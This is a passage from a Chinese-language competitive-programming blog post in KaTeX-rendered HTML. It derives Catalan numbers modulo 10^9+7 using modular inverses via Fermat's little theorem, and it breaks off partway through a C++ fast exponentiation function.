style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0908em;vertical-align:-0.7693em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.113em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">2</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.113em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">2</span><span class="mclose">)</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">3</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>我們令<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mrow><mi mathvariant="normal">n</mi><mi mathvariant="normal">u</mi><mi mathvariant="normal">m</mi></mrow><mo>=</mo><mo stretchy="false">(</mo><mi>k</mi><mo>+</mo><mn>2</mn><mo stretchy="false">)</mo><mo stretchy="false">(</mo><mi>k</mi><mo>+</mo><mn>3</mn><mo stretchy="false">)</mo><mo>⋯</mo><mn>2</mn><mi>k</mi></mrow><annotation encoding="application/x-tex">\mathrm{num}=(k+2)(k+3)\cdots 2k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord"><span class="mord mathrm">num</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">2</span><span class="mclose">)</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">3</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>(代表分子，numerator)、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mrow><mi mathvariant="normal">d</mi><mi mathvariant="normal">e</mi><mi mathvariant="normal">n</mi></mrow><mo>=</mo><mn>1</mn><mo>⋅</mo><mn>2</mn><mo>⋯</mo><mi>k</mi></mrow><annotation encoding="application/x-tex">\mathrm{den}=1\cdot 2\cdots k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord mathrm">den</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>(代表分母，denominator)，則</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>C</mi><mi>k</mi></msub><mo>=</mo><mfrac><mrow><mi mathvariant="normal">n</mi><mi mathvariant="normal">u</mi><mi mathvariant="normal">m</mi></mrow><mrow><mi mathvariant="normal">d</mi><mi mathvariant="normal">e</mi><mi mathvariant="normal">n</mi></mrow></mfrac><mo>⇒</mo><mrow><mi mathvariant="normal">d</mi><mi mathvariant="normal">e</mi><mi mathvariant="normal">n</mi></mrow><mo>⋅</mo><msub><mi>C</mi><mi>k</mi></msub><mo>=</mo><mrow><mi mathvariant="normal">n</mi><mi mathvariant="normal">u</mi><mi mathvariant="normal">m</mi></mrow></mrow><annotation encoding="application/x-tex">C_k=\frac{\mathrm{num}}{\mathrm{den}}\Rightarrow\mathrm{den}\cdot C_k=\mathrm{num}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.7936em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">den</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">num</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⇒</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord mathrm">den</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord"><span class="mord mathrm">num</span></span></span></span></span></span></p><p>接著兩邊同時mod <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(10^9+7)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">7</span><span class="mclose">)</span></span></span></span>，假設模完他變成<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><msub><mi>C</mi><mi>k</mi></msub><mo>≡</mo><mi>B</mi><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">AC_k\equiv B\pmod{10^9+7}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0502em;">B</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">7</span><span class="mclose">)</span></span></span></span>，那麼<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mi>k</mi></msub><mo>≡</mo><msup><mi>A</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>B</mi><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">C_k\equiv A^{-1}B\pmod{10^9+7}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.0502em;">B</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">7</span><span class="mclose">)</span></span></span></span></p><p>所以我們還需要寫一個用來求模反元素的函式。</p><h2 id="%E6%B1%82%E8%A7%A3%E6%A8%A1%E5%8F%8D%E5%85%83%E7%B4%A0" tabindex="-1" id="求解模反元素">求解模反元素</h2><p>若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>a</mi><mo separator="true">,</mo><mi>M</mi><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">(a,M)=1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>(此時才必有唯一的模反元素)，則稱</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>a</mi><mi>x</mi><mo>≡</mo><mn>1</mn><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>M</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">ax\equiv 1\pmod{M}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4637em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="mclose">)</span></span></span></span></span></p><p>的解<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi></mrow><annotation encoding="application/x-tex">a</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span>模<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi></mrow><annotation encoding="application/x-tex">M</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span></span></span></span>的反元素，記作<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">a^{-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span></p><h3 id="%E6%96%B9%E6%B3%95%E4%B8%80%EF%BC%9A%E8%B2%BB%E9%A6%AC%E5%B0%8F%E5%AE%9A%E7%90%86%2B%E5%BF%AB%E9%80%9F%E5%86%AA" tabindex="-1" id="方法一：費馬小定理-快速冪">方法一：費馬小定理+快速冪</h3><p>由於模數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi><mo>=</mo><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">M=10^9+7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>為質數，由費馬小定理知</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>a</mi><mrow><mi>M</mi><mo>−</mo><mn>1</mn></mrow></msup><mo>≡</mo><mn>1</mn><mo>≡</mo><mi>a</mi><mi>x</mi><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>M</mi><mo stretchy="false">)</mo><mo>⇒</mo><mi>x</mi><mo>≡</mo><msup><mi>a</mi><mrow><mi>M</mi><mo>−</mo><mn>2</mn></mrow></msup><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>M</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">a^{M-1}\equiv 1\equiv ax\pmod M\Rightarrow x\equiv a^{M-2}\pmod M</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8913em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.109em;">M</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⇒</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4637em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8913em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.109em;">M</span><span class="mbin mtight">−</span><span class="mord mtight">2</span></span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="mclose">)</span></span></span></span></span></p><p>而<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mrow><mi>M</mi><mo>−</mo><mn>2</mn></mrow></msup></mrow><annotation encoding="application/x-tex">a^{M-2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.109em;">M</span><span class="mbin mtight">−</span><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span></span>可由<a href="http://localhost:4000/2026/05/31/CSES-Exponentiation-%E9%A1%8C%E8%A7%A3/#%E5%BF%AB%E9%80%9F%E5%86%AA">上次提過的快速冪</a>算出。</p><p>實現程式碼如下：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ll</span> <span class="token expression"><span class="token keyword">long</span> <span class="token keyword">long</span></span></span>ll <span class="token function">fast_pow</span><span class="token punctuation">(</span>ll base<span class="token punctuation">,</span> ll exp<span class="token punctuation">,</span> <span class="token keyword">int</span> m<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  ll res <span class="token operator">=</span> <span class="token number">1LL</span><span class="token punctuation">;</span>  <span class="token keyword">while</span><span class="token punctuation">(</span>exp <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>exp<span class="token operator">%</span><span class="token number">2</span><span class="token operator">==</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>res <span class="token operator">=</span> 